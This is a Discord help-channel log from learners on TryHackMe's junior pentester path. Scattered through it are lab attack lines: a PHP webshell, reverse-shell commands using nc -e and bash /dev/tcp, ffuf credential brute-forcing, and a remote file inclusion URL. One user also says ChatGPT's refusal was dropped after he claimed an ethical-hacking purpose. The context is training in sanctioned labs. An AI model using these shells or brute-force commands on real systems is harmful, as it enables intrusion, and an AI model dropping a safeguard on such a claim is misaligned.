#junior-pentester-path

1 messages · Page 7 of 1

modest arch
#
Attackers can exploit API endpoints that are vulnerable to broken object-level authorization by manipulating the ID of an object that is sent within the request.

Per OWASP

idle bison
#

Yes

#

Good content, all free too

idle bison
modest arch
#

guys I need little guidance,
i am currently on the verge of completing jr pentester path and I'm trying my hands on various machines on try hackme. with some help I'm able to root easy and medium machines.
my question is at this level what should I do ?root more machines or try the offensive pen testing path? thank you

torpid juniper
# modest arch guys I need little guidance, i am currently on the verge of completing jr pentes...

@modest arch There are a few options you can consider. Rooting more machines will continue to strengthen your technical skills and deepen your understanding of different vulnerabilities and attack vectors. This hands-on experience is invaluable and will contribute to your growth as a pentester.
Alternatively, exploring the Offensive Pen Testing path could be an excellent next step. This path focuses on simulating real-world engagements and will provide you with a broader perspective on various offensive techniques, tools, and methodologies. It can be a great opportunity to further enhance your skill set and gain exposure to different scenarios. Ultimately, the decision depends on your personal goals and interests. You could also mix and match, alternating between rooting machines and exploring the Offensive Pen Testing path to diversify your knowledge and skills.

Remember, the key is to continue challenging yourself, learning new techniques, and staying up-to-date with the latest developments in the field. Feel free to reach out if you have any more questions or need further guidance along the way.

modest arch
#

+rep @torpid juniper

next lanceBOT
#

Gave +1 Rep to @torpid juniper

hard vortex
#

room: file inclusion
task: 5
question: 1
path given is /var/www/html/lab3.php, meaning to exit we should have to use 3 ../
however, the solution requires 4 ../
am I missunderstanding smt or is the answer in the wrong format?

supple mason
#

Hi I need help with the following
room: What the Shell?
task 13
I have uploaded a php webshell on the webpage and i have used the command nc -lvnp 1234 to set up listner. Later I have also navigated to the following URL: http://<machine IP>/uploads/websh.php?cmd=nc%20<Attack box IP>%201234%20-e%20/bin/bash

I am not receiving the reverse shell. The php code is:
<?php
if(isset($_GET[‘cmd’])) {
system($_GET[‘cmd’]);
}
?>

minor onyx
#

guys can someone help with the Authentication Bypass task 4

hard vortex
minor onyx
#

So first i understand Fuff and it's simple syntax but after we started using some complex syntaxes i don't even understand and then i moved to logic flaw i have no clue what is going on hahah

hard vortex
#

it's pretty well explained in the text

#

what exactly are you having problems with?

remote iris
hard vortex
#

huh

#

weird

#

also how do you know?

#

they have account-related roles

remote iris
hard vortex
#

oh

#

lmao

#

alrighty then

minor onyx
#

@hard vortex -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/signup -mr "username already exists"

#

why do we use the -X POST

hard vortex
#

because it's a parameter for the command

minor onyx
#

but why

hard vortex
#

it says in the text before

#

-X POST is the header

minor onyx
#

yeah i know because the default is GET

hard vortex
#

so the server knows we're sending data

minor onyx
#

but what does it do

#

ahhh okey

hard vortex
#

it sets the header?

#

GET = get data
POST = give data

minor onyx
#

-d "username=FUZZ&email=x&password=x&cpassword=x"

#

can you explain this one

hard vortex
#

well -d is the parameter for the data we're inputting to the website

#

FUZZ (as also explained in the text) is the word from the file you also gave in the command

#

it iterates through the file and inputs every word

minor onyx
#

yeah so we can replace it from the names list

hard vortex
#

yeah

#

and password we just set to x

#

bc rn we don't care about it

minor onyx
#

yeah

#

and what's cpassword

hard vortex
#

I think it's the "repeat password" thing

#

if you're interested in the command look up the github

#

they have a pretty good docs

minor onyx
#

do you have a link ?

hard vortex
#

just google the name of the tool

#
  • github
minor onyx
#

ok bro thank you so much

hard vortex
#

also i think there's a link whenever you use the command

hard vortex
minor onyx
#

have a nice day

hard vortex
#

u2

primal flame
#

Getting started again on the path. How far is everyone? Working on the Burp Suite section.

primal flame
#

Well, I ended up completing the Burp Suite and Network Security sections. Made it about half way through Vulnerability Research section. Need to slow down and read more.

restive steppe
#

I've got two rooms left on the Burp section, personally I'm trying not to rush so I can try and absorb the knowledge, some sections I have blitzed through though but I guess if you're going fast you already know the stuff

analog patrol
#

Why does Burp intercept Google.com when I have defined the scope?
If anyone can help, thanks.

#

And it still logs google in search history

#

Ok, google disappears if I change the filter.

But I still have the issue that I cannot use my browser for anything while Burp intercept is on. Can I set the scope correctly so browser url if out of scope can still be used without interception?

primal flame
#

I've worked on Burp in the past. I have a networking background its definitely helped.

modest arch
#

just now arriving at burp content

restive steppe
#

my background is in software engineering so I definitely know my way around a computer and have got basic networking experience but Burp is completely new to me, seems like a crazy powerful tool and I'm having way too much fun using it

#

I'm used to being on the opposite side of a pen test, fixing vulns not exploiting them

modest arch
#

i used it for some of the earlier stuff in the path, it's pretty great

primal flame
supple mason
#

Hi, I need help with the Linux privilege escalation room. Task 5

I am trying to send an exploit file to target machine using python3 http server and download it on target using wget. When I try this I get permission denied error as shown below. I have also tried modifying file permissions but it does not seem to work.

sage current
#

if you are unsure a good tip is to go for the /tmp folder

supple mason
#

Error:

Ofs.c : Permission Denied
Cannot write to ofs.c

supple mason
#

It worked with the /tmp folder

#

Thanks

analog quiver
#

Why is the attack box really slow

dusky lintel
#

Please help me (Task 3 of Authentication Bypass of Jr. Pentester-path) in Attack-box - can't find valid username and password. I have tried everything possible but couldn't find anything.

real shard
#

Very happy that I just finished the Net Sec Challenge room without much help besides looking up a tiny thing.
The only problem I had was ||waiting for a hydra scan to finish where I did a typo of / instead of : as the separator for the port for the ftp server and the scan happily went on anyways||

real shard
dusky lintel
dusky lintel
real shard
#

It would indicate your valid_usernames.txt isn't saved with the proper content

#

Having created the file with vim, I could finish the Task again with no problems at least

dusky lintel
leaden prism
wild fern
#

I'm in the Linux Privesc room, attempting the Cron Jobs section.
I've overwritten backup.sh with
||```bash
$ echo "#!/bin/bash

bash -i >& /dev/tcp/10.10.161.63/1234 0>&1" > backup.sh```||
And started a netcat listener on port 1234 on the Kali VM, and I'm not getting any connection from the other system. Is the script wrong, or should I just wait a little longer? I've been waiting about 5 minutes.

shadow echo
wild fern
#

Read write only for root, read for rest

shadow echo
wild fern
#

chmod +x?

#

Ah got it thanks

sage current
#

nice you figured it out

somber shard
#

what does the two blank lines at the bottom of the request for ?

sage current
somber shard
real shard
#

Just finished the vulnerability capstone room. Gotta say, being tired made this last so much longer than it needed to.
|| At some point, after having tried multiple github PoCs (working or not I don't know I might just be too stupid)) I tried doing it with the one given in the hint, which - funnily enough - was also one of the Github ones. After the nice advice of the script and setting up a listener I still received weird errors when trying to use it. Took me like 30 minutes to figure out not to write python3 exploit.py http://IP_ADRESS which I think was required (the http://) for some of the exploits I found that didn't seem to work. ||

sage current
real shard
#

I hope so as well yep

#

What I took from this is that either my knowledge is still severely lacking in certain regards, or the documentation might just be insufficient for some of these exploits 🙂

sage current
#

more on the later end

#

hence having basic reading of python knowledge helps

real shard
#

Oh, definitely

#

I got scared seeing exploits in other languages 😄

#

I will definitely be revisiting everything at some point, but for now there's "only" the last two modules left for this path catvibe

proper swallow
#

hey can anyone help me

remote iris
proper swallow
#

I am getting this in the Attack Terminal

root@ip-10-10-47-88:~# telnet 10.10.120.80 80
Trying 10.10.120.80...
telnet: Unable to connect to remote host: Connection timed out
root@ip-10-10-47-88:~# telnet 10.10.120.80 80
Trying 10.10.120.80...
telnet: Unable to connect to remote host: Connection timed out

Not this

entester@tiny bluff$ telnet 10.10.120.80 80
Trying 10.10.120.80...
Connected to MACHINE_IP.
Escape character is '^]'.
GET / HTTP/1.1
host: telnet

#

Active Recon: Telnet

remote iris
#

I can cannect ok.

#

Are you using attackbox?

proper swallow
#

Yes

#

is there any chances that I am getting this because I don't have subscription

remote iris
#

Not at all.

proper swallow
#

Can I DM you to share the ss

wooden temple
#

what exactly is it your trying to do? which module are you on?

remote iris
remote iris
tiny bluffBOT
remote iris
#

If you follow the screenshot, you can verify

proper swallow
remote iris
#

It's ok, I know what you're doing.

proper swallow
wooden temple
#

ok so your using attack box... maybe try terminating the machine and restarting it back in task 3?

proper swallow
remote iris
#

On your VM, can you type ip a s ?

proper swallow
remote iris
#

Then reconnect once.

proper swallow
#

ok doing

remote iris
#

That should reconnect you to the VPN once, and only have tun0

proper swallow
#

I guess still not working

remote iris
#

Are you doing it on a VM or Attackbox now?

proper swallow
#

ping is also not working

remote iris
proper swallow
#

sorry

remote iris
#

Are you in a VM or attackbox?

proper swallow
#

using both

remote iris
#

Just use one.

wooden temple
#

is your kali vm connection

#

the openvpn?

#

ovpn?

proper swallow
#

yup

proper swallow
remote iris
#

ip a s on KALI

proper swallow
#

thanks

wooden temple
#

awesome!

proper swallow
#

new problem😢

wooden temple
#

thanks @remote iris

next lanceBOT
#

Gave +1 Rep to @remote iris

remote iris
proper swallow
#

hey how to give reputation

proper swallow
wooden temple
#

type: "thanks @ <insert name>

proper swallow
#

thanks @remote iris

remote iris
next lanceBOT
#

Gave +1 Rep to @remote iris

proper swallow
#

ok

wooden temple
#

the task your on i just did it... well if im thinking its the one

#

the telnet one

#

task 5 was it?

#

in Active Recon?

proper swallow
proper swallow
wooden temple
#

you all good now yeah?

#

i literally finished the pathway to JR Pen last night around midnight it was a lot to take in but im happy to see the green check mark and moving on now

proper swallow
#

hey so you have subscription

wooden temple
#

yeah for sure.

proper swallow
#

is it worth?

wooden temple
#

absolutely

proper swallow
#

One more thing

wooden temple
#

theres a lot of content for free of course but having the sub is very nice imo

proper swallow
#

How much time it take after i pay through debit card

wooden temple
#

plus im down to support a company thats teaching me my dreams

remote iris
#

instant.

wooden temple
#

instant^

proper swallow
#

ok

#

Because I was thinking ..... but I read some comments and I got confused

wooden temple
#

yeah its instant.

proper swallow
#

Hey one more question where I can see ctf

wooden temple
#

you can go right to the learn tab

#

go into the search section

#

and under the "Type" bar select CTF

proper swallow
#

There are 3 room

wooden temple
#

theres like 9 pages or more...?

proper swallow
#

where

wooden temple
remote iris
wooden temple
#

yes^

proper swallow
#

Ok

wooden temple
#

Learn>Search>Type

#

😄

proper swallow
#

thanks

#

thanks @wooden temple

next lanceBOT
#

Gave +1 Rep to @wooden temple

wooden temple
#

any time i can help im happy!

#

im still pretty new myself. happy hunting and ask away. theres always some one here to help

modest arch
#

Hi

primal flame
#

Hey everyone!

#

Finally finished the path today. It felt great completing the path. That's 3 for me now.

timid solstice
#

Based on Shodan.io, what is the 3rd most common port used for nginx? I doesn't find correct answer for this. Can anyone help

remote iris
#

Are you still stuck?

If so, just go to shodan.io and search NGINX in the box.

timid solstice
remote iris
timid solstice
#

May I know the port number

remote iris
#

How about, you verify and screenshot what you're doing.

#

!docs verify

tiny bluffBOT
timid solstice
next lanceBOT
#

Gave +1 Rep to @remote iris

lusty skiff
#

should i redo the entire fundamentals again if i struggle to do the challenge part of file inclusion?

real shard
#

Only the privilege escalation module left for me, finally doing something about this graph 🙂

modest arch
#

Anyone else having trouble accessing Jr Penetration Tester?

#

Everytime I click on it, it redirects me to /paths

merry night
modest arch
analog patrol
#

sry, wrong IP

#

let me try again

next lanceBOT
#

Gave +1 Rep to @fair hill

bright geode
#

when i try to upload the pentestermonkey php reverse shell form my own kali linux machine the page keeps loading no matter what the room or the challenge is but it works on the attack box, does anyone have an idea what the problem with my machine might be?

bright geode
robust herald
#

finished intro and pre paths, just starting on junior pentest, excited to go through this path

thin peak
#

anyone else had trouble with the automated discovery part of content discovery? my attack box doesnt seem to have the wordlists installed so the commands wont work

tranquil citrus
modest arch
modest arch
#

File Inclusion - Remote File Inclusion - RFI

I can't inject the malicious URL (http:// attacker.thm/cmd.txt)
into the playground URL (10.10.x.x/playground.php?file=)

I guess it's supposed to show me a page that's saying "Hello THM" but it doesn't

#

Any ideas?

sage current
#

is attacker.thm replaced with your ip address as doubt that is a domain the target machine knows about

modest arch
#

I should be able to view that file in my browser right?

If i type http:// {my ip} /cmd.txt

#

I think i see the problem now

My Active Machine information is showing a different IP Address than my AttackBox IP

#

Im not sure why

sage current
modest arch
#

I didn't have to use a Port before, maybe because im using the Attack box

#

I got it, when the assignment is telling you to visit a website like http:// MACHINE_IP /cmd.txt, it's because it somehow didn't notice that you connected to a VM

#

Once it realizes that you did connect to a VM, the "MACHINE_IP" gets replaced with your actual IP

#

So sometimes my assignment thinks Im not connected yet 😕

sage current
#

you should most of the time need to use the port unless you are specifing port 80 in the command to run the web server

modest arch
#

Is there a easy way to see / echo out the $_REQUEST superglobals of a website?

bright geode
#

when i try to upload the pentestermonkey php reverse shell form my own kali linux machine the page keeps loading no matter what the room or the challenge is but it works on the attack box, does anyone have an idea what the problem with my machine might be?
ps: i connect using VPN

remote iris
bright geode
#

Yes everything is done right

bright geode
graceful valley
#

Can anyone tell me how to login by intercepting email address on burp suite rather than user name. Every time I tried on original websites for practice it didn't work

remote iris
#

Uh...

which websites?

remote iris
#

@idle bison still around?

idle bison
#

Intercepting with burp doesn't care about the content.
What are you trying to do?

graceful valley
#

I was just trying to login just to practice it's been three days I started burp suite.

thin peak
#

me again, im finding the local file inclusion task confusing, wondering if anyone can point me in a direction to understand it better? stuck on 2nd question and got the answer to 1st in my own way not the way thm explains to you. ive re read the info about 10 times and still cant figure it out

mossy oxide
brazen thistle
#

Hi All, I am working on the Linux Privilege Escalation Room Task 9 (Cron Jobs). can someone help me understand this please. The text says ' we can see backup.sh is running every minute'

I can only see * * * * * in the screenshot does that mean if there is no number on the frequency then it's one minute by default or something else ?

#

`# = ID
m = Minute
h = Hour
dom = Day of the month
mon = Month
dow = Day of the week
user = What user the command will run as
command = What command should be run

For Example,

m h dom mon dow user command

17 * 1 * * * root cd / && run-parts --report /etc/cron.hourly`

As far as I am aware this is the notation ?

#

Appreciate all inputs.

brazen thistle
#

All asterisk means frequency of one minute. Checked.

tranquil birch
viscid meteor
#

I'm doing the Exploit Vulnerability web server book store module. Can someone point in the right direction?

||I've found the open SSH port and there also appears to be an SQL vulnerability but I can't seem to find the right method of query the SQLDB to enumerate its columns and data bases||

real shard
next lanceBOT
#

Gave +1 Rep to @sage current

sage current
modest arch
#

Hey, I had a problem yesterday with ffuf on trybackme, it was checking my list, 10 thousand examples, but I do not know how to distinguish the correct hits in the result of the program.

shadow echo
modest arch
#

But to me fuff just checks where the designation is, which are correct e.g. Names, suggest what in the result ?

shadow echo
#

You would have to verify first in order to send screenshots in here

#

!docs verify

tiny bluffBOT
modest arch
modest arch
compact pollen
#

Hello, I used a video to pass this task because I did not understand, I still do not understand can you explain what I did please?

prisma raptor
compact pollen
next lanceBOT
#

Gave +1 Rep to @prisma raptor

zealous dew
# compact pollen OK, thank you for your reply, but I don't understand the command. Is it importan...

the commands largely work the same, you specify a wordlist with -w (or positionally in the case of dirb), you specify the IP (or url of the website) with the -u or --url flag, the tool then iterates through the wordlist by sending requests to the website and observing the responses that it gets back to find existing directories. In the case of ffuf, you use FUZZ to specify where the iterating has to occur.

compact pollen
next lanceBOT
#

Gave +1 Rep to @zealous dew

zealous dew
#

you're welcome 🙂

compact pollen
# zealous dew you're welcome 🙂

Just one last question, I've done several rooms (30), but there are things that I understand but that I forget or that are still a blur, is that normal? I need to reread every day ? or with practice every day I don't need to (I do as many learning rooms as possible so I can practice with ctf afterwards).

zealous dew
# compact pollen Just one last question, I've done several rooms (30), but there are things that ...

My advice is to take notes on every room, there's an enormous amount of information, we can't remember it all, you'll get used to the commands and tools you use frequently for sure, but you need to have a way to refer back to things you've seen before but haven't used much. If it's a learning room, write things down in your own words, note down commands. If it's a challenge, take screenshots and write down how you solved it.

compact pollen
zealous dew
#

great, you can try to re-write things in your own words to be sure you understand them, I don't know how Notion's search function is, being able to search your notes can be very useful

compact pollen
#

after I'm still young experience will come with time

zealous dew
#

of course, things will clear up with time

compact pollen
next lanceBOT
#

Gave +1 Rep to @zealous dew

zealous dew
slow horizon
#

hello I have a doubt in SSRF

#

<input type="radio" name="avatar" value="assets/avatars/1.png">

#

in the above line when i change value

#

<input type="radio" name="avatar" value="a/../private">

#

it works

#

but when i do
<input type="radio" name="avatar" value="/../private">

#

gives an error why?

real shard
slow horizon
#

a can be replaced with any other chars execpt special chars

real shard
remote iris
#

Is home in the same directory as private, or is private in home?

real shard
#

I would assume not blobfingerguns

slow horizon
#

By using /../private it raises an error

#

I don't understand how by adding a/../private works

real shard
terse fulcrum
#

this shit hard bruh lol

#

i might be missing something but does anybody not use attack box and just use your native browser. Ive done openvpn and started the machine but when i put the machine ip address in my chrome browser, it times out

slow horizon
slow horizon
compact pollen
#

Hello, the room on File Inclusion is complicated to understand I find, is it something basic complicated to understand or I'm just stupid?

real shard
prisma raptor
compact pollen
#

The problem with this room is that there's a challenge, but unfortunately you have to guess the result of the challenge. Let me explain, I have to help myself to a video, because we have to use software we've never used before - the room never taught me that this tool existed, so maybe I forgot to learn something or other, but it still seems strange to me (I'd like to point out that I did all the rooms in order). As for the rest of the room, no problem.

velvet bane
#

I was doing that room just now

#

and legit just opened discord to ask the same shit

#

even the videos people are using burp suite and its tough

#

MY question is that why do we have to use the null byte at the end of the url

#

why can't we just add .php at the end

#

?

velvet bane
# real shard If something is complicated for you, you can try to google (or ask ChatGPT nowad...

I asked chatgpt and it said this:
Modifying cookies without proper authorization is not ethical and may be illegal. As an AI language model, I must prioritize user safety and follow ethical guidelines. I cannot assist you in performing actions that could violate the privacy and security of websites or users.

If you are the owner of the website or have proper authorization to modify the cookie values, you can do so through the server-side code of your website. However, if you are attempting to modify cookies on a website that you do not own or have permission to access, I strongly advise against it.
If you have any legitimate reasons for modifying cookies or if you have questions about web development, security, or programming, feel free to ask, and I'd be happy to help within ethical boundaries.

#

then i told it that im learning ethical hacking and need to kow how to do it

#

and it gave me the answer

#

;-;

real shard
#

Ah yes, that is a thing.

#

I also remember some rooms that seemed to require tools I learned later on, so you guys aren't alone :)

next lanceBOT
#

Gave +1 Rep to @real shard

velvet bane
#

any other useful resources that might help?

#

i wanna give me ejpt in the next few months

compact pollen
velvet bane
terse fulcrum
#

You ever look up the answer for a question and just sit there like…”I didn’t even see those words in the article” that’s been my whole day lol

#

I’m in file inclusion

compact pollen
velvet bane
#

xD

compact pollen
velvet bane
#

Yeah the room is harder than all the ones before it

#

but still

velvet bane
#

i got till the third task

#

and then got stuck

compact pollen
velvet bane
#

but its okay even with a video

#

as long as ur learning

#

i left the challenge portion for later

#

ill finish it after i learn burp suite

compact pollen
compact pollen
velvet bane
real shard
#

What I'd recommend you two do, because you'll need it sooner or later, is doing the "Practice"-Series for Pentesting Tools which introduces the important ones.

brave flame
#

I'm really glad I joined the THM Discord today and read these last few messages!

I have been doing the JrPP too and have been completely stuck on the File Inclusion challenges. I can't even get past the first one - the change from Get to Post. When I've looked it up online everyone is saying to use Burp Suite or curl command (neither of which I've used yet or have really been covered in the Learning Paths I've completed - Introduction to Cyber Security and Pre Security) but I've been assuming that there must be a way of completing the challenge using the Web Developer Tools in my browser, as per the JrPP so far. Of course, I could have completely misunderstood and it is possible to do using the Web Developer Tools...😬 .

I've now started the Complete Beginner path (which was hidden for some reason) to try to learn more before going back to JrPP File Inclusion challenges at a later date.

velvet bane
velvet bane
real shard
next lanceBOT
#

Gave +1 Rep to @real shard

brave flame
# velvet bane Can you provide the link for it?

Hi - thanks for the reply. It's the Task 8 (challenges) and capture Flag 1 where the site is broken and can only accept Post requests instead of Get requests (I hope I'm explaining this correctly, I'm still getting used to doing this)

next lanceBOT
#

Gave +1 Rep to @velvet bane

velvet bane
#

yeah you have to use curl for it

#

I'll try to see if i can find the exact link for it

#

coz i dont remember

real shard
#

Or just the normal --help

#

Both of those will tell you in detail how to use the command

brave flame
brave flame
velvet bane
#

just run this in the terminal

#

also use this video

#

for help

#

but i recommend coming back to the challenge later

#

and doing it yourself

#

that's what im gonna do too

velvet bane
brave flame
#

Amazing, thank you both for the help. I think the main thing I was worried about was that I had completely misunderstood the path so far and was just being really dumb! Thank you for the links, will definately do them and come back to the challenges later and try again 🙂

velvet bane
velvet bane
#

has anyone done the xss scripting room?

#

i keep waiting for the request to come through on netcat

#

but it never does

real shard
# velvet bane has anyone done the xss scripting room?

Just a tip, pinned in #room-help :

What Room? (Link, Room title, room code from URL)
What Task? (Give the number!)
What question? (Number, maybe also basic details)
What have you tried?
What happened?
What didn't happen?
What did you expect to happen?
A picture paints a thousand words. Don't type a thousand words. Screenshots are awesome. Photos of your screen are not.
(If you want to paint a picture, we'll be impressed but a screenshot is really better)
remote iris
real shard
#

Regarding the Privilege Escalation: Cron tabs task for the Linux PrivEsc room:
I read the crontab file and edited the .sh file that is in the users' home folder the same way it was shown in the description of the task (with my attackbox IP and port 4444)
Then I started the listener on port 4444 on the attackbox but so far nothing's been happening.

#

I understood from somebody's question some days ago that * for cron jobs is the default value of 1, so it should run every minute

real shard
#

yes

remote iris
#

Did you make it an executable?

real shard
#

Ohhh I need to do that, okay.
Do you know if the file was executable before? I was assuming if there is a cron job for an existing file it would be executable already

remote iris
#

You can check manually?

real shard
#

I will, thanks for the tip :)

orchid pagoda
#

Hello. For the Vulnerability Capstone, was anyone able to exploit the machine using Fuel CMS 1.4.1 - Remote Code Execution (3)?

velvet bane
velvet bane
#

this is the screenshot

real shard
velvet bane
#

on forums someone else had an issue too

real shard
#

nonono

velvet bane
#

ontryhackme

#

it went unsolved

real shard
#

look at the link I posted

#

how does the link on your browser look compared to it

#

if you go on google

velvet bane
#

im confused. You want me to enter the link on the attackbox?

real shard
#

I don't want to make it too obvious kekw
https://www.google.com vs https://{www.google.com}

#

What's the difference

velvet bane
#

the brackets ofc

real shard
#

Exactly 🙂

velvet bane
#

oh

#

i think i got it

#

oh shit

#

ty man

real shard
#

npnp :)

velvet bane
#

i didnt realise the issue would be that dumb 😭

#

thats like missing a semi colon

real shard
#

It often is yeah

velvet bane
next lanceBOT
#

Gave +1 Rep to @real shard

real shard
#

Like me earlier missing that a file needs to be executable in order to be executed kekw

real shard
#

Oh boy, only Windows PrivEsc left to complete the path kongdance

kindred cliff
#

did you ever find an answer to this? I'm currently stuck here

velvet bane
#

for me it worked after i ran the command 2-3 times

#

this is assuming the command you ran is correct

kindred cliff
#

I solved it. Had the wrong IP therefore I was getting the wrong size value to for filter.

blazing crown
#

Hi. I'm on the Walking An Application. Task 5 Developer Tools - Debugger. I already click the breakpoint then refresh the page. It only says "Paused on breakpoint" it doesnt give the flag in the red box 😦

velvet bane
#

when i enter the ip it shows on the intercept output but the site never loads

#

same for when i do it on the external broswer

sage current
#

you need to either turn intercept off or hit to forward button

#

for the room the later is probably the intended way

velvet bane
#

oh right

#

ty

sage current
#

no problem

blazing crown
# velvet bane did u click the correct breakpoint?

I can't seem to paste a screenshot here in discord.

Yes, I believe so..
Debugger > click on flash.min.js > then on the code on the right, have click it and had a blue mark. on the right side it says Paused on breakpoint. Checking the Firefox, it has a refresh and play button that say "Pause on breakpoint". I tried both buttons, but no flags..

blazing crown
next lanceBOT
#

Gave +1 Rep to @velvet bane

velvet bane
#

using the bot

#

then you can post pics and stuff

#

dm the bot with !verify

#

@tiny bluffthis bot

blazing crown
jolly rune
#

hello, I have a question.
In nmap live host discovery, task 3, there's something which I don't really understand, the subnet target specification comamnd.

subnet: MACHINE_IP/30 will scan 4 IP addresses.

I don't really understand how this command works, I know what subnets are but, I just don't get it. (I am following the free tryhackme training guide for context)

velvet bane
jolly rune
#

my bad, sorry

velvet bane
#

look up subnets and understand it better

#

but to summarize

#

it will scan 4 address as it will scan ip/0, ip/1, ip/2 and ip/3

#

i hope u get it now

#

when you do 15-20 it then scans 6 addresses because 15,16,17,18,19,20

vernal mauve
#

stuck at after completing some topics

#

they demand subscription

#

but i am not able enough to subscribe because i am student at universit

#

any alternative

remote iris
#

There is raffle competitions now and then.

somber shard
#

goood morning

hollow sierra
#

hi everyone my name is Bendking

#

I need a help from anyone who is willing to do

#

I'm new student and I'm having some challenges in some of the questions

#

What is the flag that you obtained by following along? pls be of help if you know this and how I can go about it thanks in advance

prisma raptor
hollow sierra
#

@prisma raptor Intro to Defensive Security

#

Task 2

real shard
white whale
#

feeling kind of great as gaining some practical knowledge, after spending ridiculous amount of money on the university just to study the basic theories for years

pure furnace
#

im having an issue with nmap not showing open port 6667, ive used -p- and still nothing, ive scanned the port by itself which returns open. Whats causing this to not respond sudo nmap -sS 10.10.89.133 is the command ? cheers

#

hmm the port is closed, over looked it

modest arch
#

hi I'm getting this error when running

#

gcc 37292.c -o ofc

#
37292.c:106:12: warning: implicit declaration of function ‘unshare’ [-Wimplicit-function-declaration]
  106 |         if(unshare(CLONE_NEWUSER) != 0)
      |            ^~~~~~~
37292.c:111:17: warning: implicit declaration of function ‘clone’; did you mean ‘close’? [-Wimplicit-function-declaration]
  111 |                 clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
      |                 ^~~~~
      |                 close
37292.c:117:13: warning: implicit declaration of function ‘waitpid’ [-Wimplicit-function-declaration]
  117 |             waitpid(pid, &status, 0);
      |             ^~~~~~~
37292.c:127:5: warning: implicit declaration of function ‘wait’ [-Wimplicit-function-declaration]
  127 |     wait(NULL);
      |     ^~~~```
#

so i ignored this in the beginnig but later in the target machine in did this to me

#

./ofc

./ofc: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./ofc)```
#

so what should i do

real shard
real shard
#

It's multiline and if it's for code you can even tell it the language after the first 3 ```

#
print("Hello World!")
#

python example

#

What task are you on?

modest arch
real shard
#

There are a lot of task 5's out there :)
It'll be easier to help you in general if you describe issues in this way:

What Room? (Link, Room title, room code from URL)
What Task? (Give the number!)
What question? (Number, maybe also basic details)
What have you tried?
What happened?
What didn't happen?
What did you expect to happen?
A picture paints a thousand words. Don't type a thousand words. Screenshots are awesome. Photos of your screen are not.
(If you want to paint a picture, we'll be impressed but a screenshot is really better) ``` - James in [#room-help](/guild/521382216299839518/channel/522158539129618453/)
modest arch
#

oh oh

#

sorry

#

i forgot to say I'm in linux privsec

#

I though i said that

modest arch
real shard
#

oh I remember I struggled with that for a bit as well. Lemme get into it again

real shard
modest arch
#

wait ok

#

i got it

#

but i think there is no priv to do it in target machine

real shard
#

Had exactly the same problem as you yep

modest arch
#

ok

modest arch
#

i'm getting error when running the compiled code

real shard
#

Did you use wget to get the .c file or the one you compiled on the attackbox

modest arch
#

I'll try to compile on target as you old me and see if it words

real shard
#

Yeah that won't work

modest arch
#

ok

#

I'll try

real shard
#

Something to do with the compilation needing the targeted kernel available I assume

modest arch
#

thanks for helping

#

and sorry if I wasted your time

real shard
#

No problem, glad to help :)

wise vector
#

I'm almost done with the path, can anyone suggest ctfs that I can practice the skills I'm learning? Most of the ones I've tried are way above my skill level

wooden temple
#

you could always specify a search for "Easy" CTF's and try those ones out. i have noticed taking the skills over to the offensive pentest pathway is pretty intense

#

theres a whole bunch and most of them have a description on what exactly the box is

wise vector
#

Thank you

wild cave
#

hi , i have been stuck at the Authentication bypass room task 3for two days now, i have done all the instructions and read online but i didnt get the results like everyone else. Note i made the " valid_usernames" file in the same dir when running the command, and also tried html format but also got an unreadable result.

#

here is the command : " ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d “username=W1&password=W2” -H “Content-Type: application/x-www-form-urlencoded” -u http://IP/customers/login -fc 200 "

wise vector
#

try terminating and restarting the machine

fiery gazelle
# wild cave hi , i have been stuck at the Authentication bypass room task 3for two days now...

Idemon I had a same problem ,at the end I found my fault. The directory valid_usernames comes from task 2, user name enum results but ı had't found a folder like that in my kali .So , I compose a new file and copied already found(from task 2 like robert,steve ...) usernames into this file and changed my valid_username with my new folder in ffuf and got the name and password pair.

wise vector
#

I was assuming you guys were on attackbox

wild cave
next lanceBOT
#

Gave +1 Rep to @fiery gazelle

wild cave
#

Do you guys think I should do it with my local kali vim ?

fiery gazelle
#

after you created your new folder Did you changed your command like ::: " ffuf -w YOUR_NEW_CREATED_FOLDERBYHAND:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d “username=W1&password=W2” -H “Content-Type: application/x-www-form-urlencoded” -u http://ip/customers/login -fc 200 "

wild cave
fiery gazelle
#

I am also got stuck on the Authentication machine task 4 :logic flaw :I tried whatever I can but didnt find the way for support flag .Is there any help to me on the process ?

wise vector
fiery gazelle
#

there are two curl command and even if I tried very much times I couldnt reach the flags ,could you summerise the mission please ?

fringe dirge
wooden temple
fiery gazelle
next lanceBOT
#

Gave +1 Rep to @fringe dirge

mossy oxide
#

Hello, I'm hoping someone can help me as i keep reading over this one room over and over again and I'm just not getting it. I'm working through the junior pentester path in Introduction to Web Hacking in the Server Side Request Forgery (https://tryhackme.com/room/ssrfqi) on Task 2 SSRF Examples. When looking through the examples I'm on the 4th example out of 5. This is showing the expected request and what the hacker requests. I just don't understand/confused on when using a "&x=" what is happening here. Is api.website.thm returning user123 or is it returning all of the user information? I just keep reading this over and over again and it's like I'm slamming my head against the wall with the wording here. I feel lost on this one. Any help would be great!

mossy oxide
prisma raptor
#

!docs verify

tiny bluffBOT
sage current
#

server side request forgery is basically tricking the website which has access to the server backend to send a request to said backend by the user provding the link to said backend

mossy oxide
#

@prisma raptor thank you for the information just verified. @velvet bane here is what I was refereing to.

next lanceBOT
#

Gave +1 Rep to @prisma raptor

sage current
#

are you familiar with programming in c++ and strings in said language???

#

because if you are the &x= is like a null terminator

mossy oxide
sage current
#

it signfies end of input to the url for the backend

mossy oxide
#

null terminator is familiar concept i think it was covered in another lesson

mossy oxide
# sage current yuup exactly

okay so the hacker in this case is basicaly just asking for the information in /api/user and anything after the null statement, in this case it's the &x=, is ignored. It just throws me off the hacker is asking for more then what they want, I'm guessing there's a reason to this. Maybe the website is expecting this kind of format.. is ?x= also a null statment?

sage current
#

kinda like the -- - in sql injection too

mossy oxide
#

Thanks @sage current for trying to help me out here!

next lanceBOT
#

Gave +1 Rep to @sage current

sage current
#

yeah shadow had trouble understanding ssrf at first too

#

it is kinda weird

mossy oxide
#

web stuff is killing my brain lol. It's very cool but a foreign concept to me

sturdy harness
thin peak
#

